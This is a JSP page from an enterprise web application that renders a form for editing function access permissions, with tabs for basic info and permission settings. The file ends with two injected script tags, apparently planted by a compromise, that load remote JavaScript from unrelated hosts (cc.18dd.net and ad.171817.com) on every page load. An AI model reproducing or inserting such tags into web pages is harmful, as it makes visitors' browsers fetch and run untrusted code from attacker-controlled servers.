<%
/*
 * @(#)EditFunctionAccess.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFunctionAccess.jsp

  This class is reflecting business logic uses.

    @author           Rollo Chan
    @company          DCIVision Limited
    @creation date    06/08/2003
    @version          $Revision: 1.33.4.4 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFunctionAccessForm" scope="request" class="com.dcivision.setup.web.MaintFunctionAccessForm"/>
<%
  String permType = maintFunctionAccessForm.getPermissionType();
%>
<script language="Javascript">
<!--
// Permission Labels
var permLabel = new Array();
<%for (int i = 0; i < permType.length(); i++) {
    String beanMsg = "common.permission.label_" + permType.charAt(i);
%>permLabel['<%=permType.charAt(i)%>'] = "<bean:message key='<%=beanMsg%>'/>";
<%}%>

function INIT() {
  initVariable(document.maintFunctionAccessForm);
}

//add by beyond  for bug EIP-574  at 06/10/23

<%if("DMS_PERSONAL_FOLDER".equals(maintFunctionAccessForm.getFunctionCode())){%>
function checkPermission(elm) {
  if (activeRow == null) {
    return(false);
  }

  if (elm.name.charAt(elm.name.length - 1) == 'R' && !elm.checked) {
    return(false);
  }

  if (elm.name.toLowerCase() == elm.name) {
    // Check "deny" box.
    togglePermissionDenyAll();
  } else {
    // Check "allow" box.
    togglePermissionAllowAll();
  }
}
<%}%>
//-->
</script>

<html:form action="setup/MaintFunctionAccess" styleClass="form-style-2">
<html:javascript formName="maintFunctionAccessForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   String returnURL = "ListFunctionAccess.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
   /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property="recordStatus"/>
<html:hidden property="updateCount"/>
<html:hidden property="creatorID"/>
<html:hidden property="createDate"/>
<html:hidden property="updaterID"/>
<html:hidden property="updateDate"/>

<layout:tabContainer id="tab1">
  <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
  <layout:tabBar>
     <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/> 
	 <layout:tabPane id="permissionTab" title="common.label.tab_permission"/> 
  </layout:tabBar>

 <!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name='setup.label.function_info' mandatory='false'/>
  <tr>
    <td class="formLabelSmall"><bean:message key="setup.label.function_code"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property="functionCode" textOnly='true'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key="setup.label.function_name"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property="functionName" textOnly='true'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key="setup.label.function_name_zh_hk"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property="functionNameZhHk" textOnly='true'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key="setup.label.function_name_zh_cn"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property="functionNameZhCn" textOnly='true'/></td>
  </tr>

  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' width='1' height='12'/></td>
  </tr>
  </table>
  </div>
  
  <div id="permissionTab" class="tabContent">
  <table width="100%">
  <layout:sectionHeader name='setup.label.access_right_info' mandatory='false' legendType='USER_TYPE'/>
  <tr>
    <td colspan="2" class="formFieldSmall">
      <layout:permissionSetup permissionType='<%=permType%>'/>
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </layout:tabContainer>

  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return permissionOpSave();"/>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintFunctionAccessForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintFunctionAccess.do?navMode=E&ID=${maintFunctionAccessForm.ID}"/>
    <%}%>
    </div>
   </div>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>